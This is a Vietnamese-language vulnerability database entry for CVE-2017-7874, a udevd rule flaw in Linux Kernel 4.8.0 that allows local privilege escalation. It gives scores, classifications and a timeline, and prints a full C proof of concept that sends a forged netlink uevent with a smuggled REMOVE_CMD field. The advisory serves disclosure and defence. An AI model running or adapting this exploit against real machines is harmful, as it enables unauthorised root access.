Linux Kernel 4.8.0 udevd 50-udev-default.rules nâng cao đặc quyền

CVSS Điểm tạm thời metaGiá khai thác hiện tại (≈)Điểm quan tâm CTI
5.0$0-$5k0.00

Tóm tắtthông tin

Một lỗ hổng bảo mật thuộc loại Có vấn đề đã được phát hiện ở Linux Kernel 4.8.0. Trường hợp bị ảnh hưởng là một hàm chưa rõ trong thư viện /lib/udev/rules.d/50-udev-default.rules của thành phần udevd. Việc xử lý có thể dẫn đến nâng cao đặc quyền. Lỗ hổng bảo mật này được biết đến với mã CVE-2017-7874. Việc khai thác lỗ hổng yêu cầu truy cập cục bộ. Bên cạnh đó, mã khai thác đã được phát hành.

Chi tiếtthông tin

Một lỗ hổng bảo mật thuộc loại Có vấn đề đã được phát hiện ở Linux Kernel 4.8.0. Trường hợp bị ảnh hưởng là một hàm chưa rõ trong thư viện /lib/udev/rules.d/50-udev-default.rules của thành phần udevd. Việc xử lý có thể dẫn đến nâng cao đặc quyền. Sự cố này được xác định là CWE-77 thông qua CWE. 15/04/2017 là ngày phát hiện lỗi. Thông tin về điểm yếu đã được công bố vào ngày 15/04/2017 (Trang web). Khuyến cáo có sẵn để tải tại exploit-db.com.

Lỗ hổng bảo mật này được biết đến với mã CVE-2017-7874. Ngày 14/04/2017 là thời điểm CVE được gán. Việc khai thác lỗ hổng yêu cầu truy cập cục bộ. Thông tin kỹ thuật đã có sẵn. Lỗ hổng này có mức độ phổ biến thấp hơn trung bình. Bên cạnh đó, mã khai thác đã được phát hành. Thông tin về khai thác đã được công bố rộng rãi và có khả năng bị lợi dụng. Giá hiện tại cho một exploit có thể khoảng USD $0-$5k vào thời điểm này. Dự án MITRE ATT&CK xác định kỹ thuật tấn công là T1202.

Nếu tồn tại độ dài, thì nó được xác định là bằng chứng khái niệm. Khai thác này được chia sẻ để tải xuống tại exploit-db.com. Là 0-day, giá chợ đen ước tính khoảng $0-$5k. Đoạn mã mà khai thác này sử dụng là:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
 
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
 
int
main(int argc, char **argv)
{
  int sock;
  char *mp;
  char message[4096];
  struct msghdr msg;
  struct iovec iovector;
  struct sockaddr_nl address;
 
  memset(&address, 0, sizeof(address));
  address.nl_family = AF_NETLINK;
  address.nl_pid = atoi(argv[1]);
  address.nl_groups = 0;
 
  msg.msg_name = (void*)&address;
  msg.msg_namelen = sizeof(address);
  msg.msg_iov = &iovector;
  msg.msg_iovlen = 1;
 
  sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  bind(sock, (struct sockaddr *) &address, sizeof(address));
 
  mp = message;
  mp += sprintf(mp, "a@/d") + 1;
  mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  mp += sprintf(mp, "TIMEOUT=10") + 1;
  mp += sprintf(mp, "ACTION=remove") +1;
  mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1;
 
  iovector.iov_base = (void*)message;
  iovector.iov_len = (int)(mp-message);
 
  sendmsg(sock, &msg, 0);
 
  close(sock);
 
  return 0;
}

Lỗ hổng này cũng được ghi nhận trong các cơ sở dữ liệu lỗ hổng khác: SecurityFocus (BID 97679).

Sản phẩmthông tin

Loại

Nhà cung cấp

Tên

Phiên bản

Giấy phép

Trang web

CPE 2.3thông tin

CPE 2.2thông tin

CVSSv4thông tin

VulDB Vector: 🔍
VulDB Độ tin cậy: 🔍

CVSSv3thông tin

VulDB Điểm cơ sở meta: 5.3
VulDB Điểm tạm thời meta: 5.0

VulDB Điểm cơ sở: 5.3
VulDB Điểm tạm thời: 5.0
VulDB Vector: 🔍
VulDB Độ tin cậy: 🔍

CVSSv2thông tin

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
Véc-tơĐộ phức tạpXác thựcBí mậtToàn vẹnKhả dụng
Mở khóaMở khóaMở khóaMở khóaMở khóaMở khóa
Mở khóaMở khóaMở khóaMở khóaMở khóaMở khóa
Mở khóaMở khóaMở khóaMở khóaMở khóaMở khóa

VulDB Điểm cơ sở: 🔍
VulDB Điểm tạm thời: 🔍
VulDB Độ tin cậy: 🔍

Khai thácthông tin

Lớp: Nâng cao đặc quyền
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Vật lý: Một phần
Cục bộ: Có
Từ xa: Không

Khả dụng: 🔍
Truy cập: Công khai
Trạng thái: Bằng chứng khái niệm
Tác giả: Nassim Asrir
Ngôn ngữ lập trình: 🔍
Tải xuống: 🔍
Dự đoán giá: 🔍
Ước tính giá hiện tại: 🔍

0-DayMở khóaMở khóaMở khóaMở khóa
Hôm nayMở khóaMở khóaMở khóaMở khóa

Exploit-DB: 🔍

Tình báo mối đe dọathông tin

Sự quan tâm: 🔍
Diễn viên đang hoạt động: 🔍
Nhóm APT đang hoạt động: 🔍

Biện pháp đối phóthông tin

Khuyến nghị: không biện pháp giảm thiểu nào được biết
Trạng thái: 🔍

Thời gian 0-ngày: 🔍
Thời gian trễ khai thác: 🔍

dòng thời gianthông tin

14/04/2017 🔍
15/04/2017 +1 ngày 🔍
15/04/2017 +0 ngày 🔍
15/04/2017 +0 ngày 🔍
15/04/2017 +0 ngày 🔍
15/04/2017 +0 ngày 🔍
16/04/2017 +1 ngày 🔍
27/12/2024 +2812 ngày 🔍

Nguồnthông tin

Nhà cung cấp: kernel.org

Khuyến cáo: 142152
Trạng thái: Đã xác nhận

CVE: CVE-2017-7874 (🔍)
GCVE (CVE): GCVE-0-2017-7874
GCVE (VulDB): GCVE-100-99901
SecurityFocus: 97679 - Linux Kernel CVE-2017-7874 Local Privilege Escalation Vulnerability
OSVDB: - Linux Kernel udev command execution

scip Labs: https://www.scip.ch/en/?labs.20161013

mụcthông tin

Được tạo: 16/04/2017 10:46
Đã cập nhật: 27/12/2024 09:32
Thay đổi: 16/04/2017 10:46 (52), 17/09/2020 18:46 (5), 29/11/2022 14:32 (2), 27/12/2024 09:32 (14)
Hoàn chỉnh: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Thảo luận

Chưa có bình luận nào Ngôn ngữ: vi + km + en.

Vui lòng đăng nhập để bình luận

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!